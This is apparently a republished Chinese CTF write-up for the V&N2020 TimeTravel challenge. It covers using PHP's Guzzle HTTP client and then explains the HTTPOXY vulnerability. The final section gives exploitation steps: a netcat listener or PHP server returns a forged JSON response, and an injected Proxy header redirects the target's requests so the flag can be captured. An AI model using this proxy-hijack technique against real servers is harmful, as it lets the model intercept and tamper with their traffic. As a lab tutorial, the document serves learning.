Guzzle是一个使得利用PHP实现发送http 请求,方便和web service集成的PHP 客户端模拟组件。
Guzzle介绍
0X01 Guzzle实验首先下载Guzzle
然后cd到网站根目录,执行Composer命令下载Guzzle:(linux环境)
cd /var/www/HTMLcomposer require guzzlehttp/guzzle
因为报错composer http://packagist.org Could not be fully loaded
,重新设置composer packagist
,命令如下:
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
下载完成后会生成一个vender文件夹:
<?PHP echo "Hello ".$_REQUEST["name"]."\n"?>
【GET请求】<?PHP require __DIR__ . '/vendor/autoload.PHP'; use Guzzlehttp\ClIEnt; $clIEnt = new ClIEnt(); $response = $clIEnt->get('http://121.196.196.190/hello.PHP?name=ink'); $content = $response->getbody(); echo $content;
【POST请求】<?PHP require __DIR__ . '/vendor/autoload.PHP'; use Guzzlehttp\ClIEnt; $clIEnt = new ClIEnt(); //构造url $url = 'http://121.196.196.190/hello.PHP'; //post请求 $res = $clIEnt->request('POST', $url, [ 'form_params' => [ 'name'=>'qaq' ] ]); $content = $res->getbody(); echo $content;?>
【设置代理IP】服务器上代码,作用为输出用户ip
<?PHP error_reporting (E_ERROR | E_WARNING | E_PARSE); if($http_SERVER_VARS["http_X_FORWARDED_FOR"]){ $ip = $http_SERVER_VARS["http_X_FORWARDED_FOR"]; } elseif($http_SERVER_VARS["http_CLIENT_IP"]){ $ip = $http_SERVER_VARS["http_CLIENT_IP"]; } elseif ($http_SERVER_VARS["REMOTE_ADDR"]){ $ip = $http_SERVER_VARS["REMOTE_ADDR"]; } elseif (getenv("http_X_FORWARDED_FOR")){ $ip = getenv("http_X_FORWARDED_FOR"); } elseif (getenv("http_CLIENT_IP")){ $ip = getenv("http_CLIENT_IP"); } elseif (getenv("REMOTE_ADDR")){ $ip = getenv("REMOTE_ADDR"); } else{ $ip = "UnkNown"; } echo $ip;?>
这部分在在windows上面实验,因为有vpn好测试代理结果
Composer 的安装
Wondows 平台上,我们只需要下载 Composer-Setup.exe 后,一步步安装即可。
需要注意的是你需要开启 openssl 配置,我们打开 PHP 目录下的 PHP.ini,将 extension=PHP_openssl.dll
前面的分号去掉就可以了。
安装成功后,我们可以通过命令窗口(cmd) 输入 composer --version
命令来查看是否安装成功:
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
然后下载
cd D:\PHPStudy\WWW\Vulnerability\Guzzlehttp_ClIEntcomposer require guzzlehttp/guzzle
开始测试代理功能,首先是没有代理的
<?PHP require './vendor/autoload.PHP'; //实例化客户端 $clIEnt = new Guzzlehttp\ClIEnt(['headers'=>[ "Accept"=>"*/*", "Accept-EnCoding"=>"gzip, deflate", "User-Agent"=>"Mozilla/5.0 (windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 firefox/81.0" ]]); //构造url $url = 'http://121.196.196.190/hello.PHP'; //设置代理请求 $res = $clIEnt->request('GET', $url); //返回状态码 $content = $res->getbody(); echo $content;?>
这时候ip为117.136.67.147
然后再把vpn打开,端口为1080
给代码加上代理'proxy' => '127.0.0.1:1080'
<?PHP require './vendor/autoload.PHP'; //实例化客户端 $clIEnt = new Guzzlehttp\ClIEnt(['headers'=>[ "Accept"=>"*/*", "Accept-EnCoding"=>"gzip, deflate", "User-Agent"=>"Mozilla/5.0 (windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 firefox/81.0" ]]); //构造url $url = 'http://121.196.196.190/hello.PHP'; //设置代理请求 $res = $clIEnt->request('GET', $url, [ 'proxy' => '127.0.0.1:1080' ]); //返回状态码 $content = $res->getbody(); echo $content;?>
代理成功
漏洞说明
HTTPOXY漏洞说明
漏洞原因
在CGI(RFC 3875)的模式的时候, 会把请求中的header, 加上http_ 前缀, 注册为环境变量, 所以如果你在header中发送一个Proxy:xxxxxx, 那么PHP就会把他注册为http_PROXY环境变量, 于是getenv(“http_PROXY”)就变成可被控制的了. 那么如果你的所有类似的请求, 都会被代理到攻击者想要的地址,之后攻击者就可以伪造,监听,篡改你的请求了…
方法一
创建一个1.txt
http/1.1 200 OKServer: Nginx/1.14.2Date: Sat, 29 Feb 2020 05:27:31 GMTContent-Type: text/HTML; charset=UTF-8Connection: Keep-aliveContent-Length: 16{"success":true}
vps上执行nc -lvp 8888 < 1.txt
burp上添加一个Proxy头
返回包中得到flag
方法二,创建一个临时服务器
PHP的
mkdir APIcd API/echo '{"success":true}'>eligiblePHP -S 0:7777 -t ../
成功拿到flag
以上是内存溢出为你收集整理的[V&N2020 公开赛]TimeTravel(guzzlehttp/guzzle使用以及HTTPOXY漏洞)全部内容,希望文章能够帮你解决[V&N2020 公开赛]TimeTravel(guzzlehttp/guzzle使用以及HTTPOXY漏洞)所遇到的程序开发问题。
如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)